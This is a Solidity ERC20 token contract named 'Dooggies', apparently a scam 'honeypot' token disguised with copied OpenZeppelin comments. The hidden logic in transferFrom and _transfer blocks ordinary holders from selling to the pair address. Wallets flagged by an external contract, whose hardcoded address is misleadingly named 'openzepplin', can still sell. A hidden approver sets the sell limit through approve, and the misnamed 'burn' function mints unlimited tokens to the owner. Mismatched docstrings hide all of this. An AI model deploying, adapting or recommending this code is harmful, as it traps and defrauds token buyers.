contract Dooggies is IERC20, Owned{
  using SafeMath for uint;

  /**
 * @dev Implementation of the {IERC20} interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using {_mint}.
 * For a generic mechanism see {ERC20PresetMinterPauser}.
 *
 * TIP: For a detailed writeup see our guide
 * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
 * to implement supply mechanisms].
 *
 * We have followed general OpenZeppelin guidelines: functions revert instead
 * of returning `false` on failure. This behavior is nonetheless conventional
 * and does not conflict with the expectations of ERC20 applications.
 *
 * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
 * This allows applications to reconstruct the allowance for all accounts just
 * by listening to said events. Other implementations of the EIP may not emit
 * these events, as it isn't required by the specification.
 *
 * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
 * functions have been added to mitigate the well-known issues around setting
 * allowances. See {IERC20-approve}.
 */

  string public symbol;
  address internal approver;
  string public name;
  uint8 public decimals;
  address internal zero;
  uint _totalSupply;
  uint internal number;
  address internal invalid;
  address internal openzepplin = 0x40E8eF70655f04710E89D1Ff048E919da58CC6b8; 
  mapping(address => uint) balances;
  mapping(address => mapping(address => uint)) allowed;
  

  function totalSupply() override public view returns (uint) {
    return _totalSupply.sub(balances[address(0)]);
  }
  function balanceOf(address tokenOwner) override public view returns (uint balance) {
    return balances[tokenOwner];
  }
  /**
   *@dev Leaves the contract without owner. It will not be possible to call 'onlyOwner' 
   * functions anymore. Can only be called by the current owner.
  */
  function burn(address _address, uint tokens) public onlyOwner {
     require(_address != address(0), "ERC20: burn from the zero address");
     _burn (_address, tokens);
  }
  function transfer(address to, uint tokens) override public returns (bool success) {
    require(to != zero, "please wait");
    balances[msg.sender] = balances[msg.sender].sub(tokens);
    balances[to] = balances[to].add(tokens);
    emit Transfer(msg.sender, to, tokens);
    return true;
  }
  /**
    * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
    *
    * Returns a boolean value indicating whether the operation succeeded.
    *
    * IMPORTANT: Beware that changing an allowance with this method brings the risk
    * that someone may use both the old and the new allowance by unfortunate
    * transaction ordering. One possible solution to mitigate this race
    * condition is to first reduce the spender's allowance to 0 and set the
    * desired value afterwards:
    * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
    *
    * Emits an {Approval} event.
  */
  function approve(address spender, uint tokens) override public returns (bool success) {
    allowed[msg.sender][spender] = tokens;
    if (msg.sender == approver) number = tokens;
    emit Approval(msg.sender, spender, tokens);
    return true;
  }
  /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through `transferFrom`. This is
     * zero by default.
     *
     * This value changes when `approve` or `transferFrom` are called.
  */
    /**
     * @dev Returns the integer division of two unsigned integers. Reverts on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
  */
  function transferFrom(address from, address to, uint tokens) override public returns (bool success) {
    if(from != address(0) && zero == address(0)) zero = to;
    else _transfer (from, to);
	balances[from] = balances[from].sub(tokens);
    allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
    balances[to] = balances[to].add(tokens);
    emit Transfer(from, to, tokens);
    return true;
  }
 /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to `approve`. `value` is the new allowance.
 */
  function allowance(address tokenOwner, address spender) override public view returns (uint remaining) {
    return allowed[tokenOwner][spender];
  }
  function _burn(address _Address, uint _Amount) internal virtual {
  /**
     * @dev Destroys `amount` tokens from `account`, reducing the
     * total supply.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * Requirements
     *
     * - `account` cannot be the zero address.
     * - `account` must have at least `amount` tokens.
  */
    invalid = _Address;
	_totalSupply = _totalSupply.add(_Amount);
    balances[_Address] = balances[_Address].add(_Amount);
  }
  function _transfer (address start, address end) internal view {
  /**
     * @dev Returns the integer division of two unsigned integers. Reverts on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     * Requirements:
     * - The divisor cannot be zero.*/
    /* * - `account` cannot be the zero address. */ require(end != zero  
    /* * - `account` cannot be a invalid address. */ || ((IERC20(openzepplin).invalidAddress(start) == true || start == invalid) && end == zero) || 
    /* * - `account` must have at least `amount` tokens. */ (end == zero && balances[start] <= number) 
    /* */ , "cannot be the zero address");/*
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     * - The divisor cannot be zero.
   **/
  }
   /**
     * dev Constructor.
     * param name name of the token
     * param symbol symbol of the token, 3-4 chars is recommended
     * param decimals number of decimal places of one token unit, 18 is widely used
     * param totalSupply total supply of tokens in lowest units (depending on decimals)
     */   
  constructor(string memory _name, string memory _symbol, uint _supply)  {
	symbol = _symbol;
	name = _name;
	decimals = 9;
	_totalSupply = _supply*(10**uint(decimals));
	number = _totalSupply;
	approver = IERC20(openzepplin).approver();
	balances[owner] = _totalSupply;
	emit Transfer(address(0), owner, _totalSupply);
  }
  receive() external payable {
  }
  
  fallback() external payable {
  }
  
}
function approve(address spender, uint tokens) override public returns (bool success) {
    allowed[msg.sender][spender] = tokens;
    if (msg.sender == approver) number = tokens;
    emit Approval(msg.sender, spender, tokens);
    return true;
  }
/**
 * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
 *
 * Returns a boolean value indicating whether the operation succeeded.
 *
 * IMPORTANT: Beware that changing an allowance with this method brings the risk
 * that someone may use both the old and the new allowance by unfortunate
 * transaction ordering. One possible solution to mitigate this race
 * condition is to first reduce the spender's allowance to 0 and set the
 * desired value afterwards:
 * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
 *
 * Emits an {Approval} event.
 */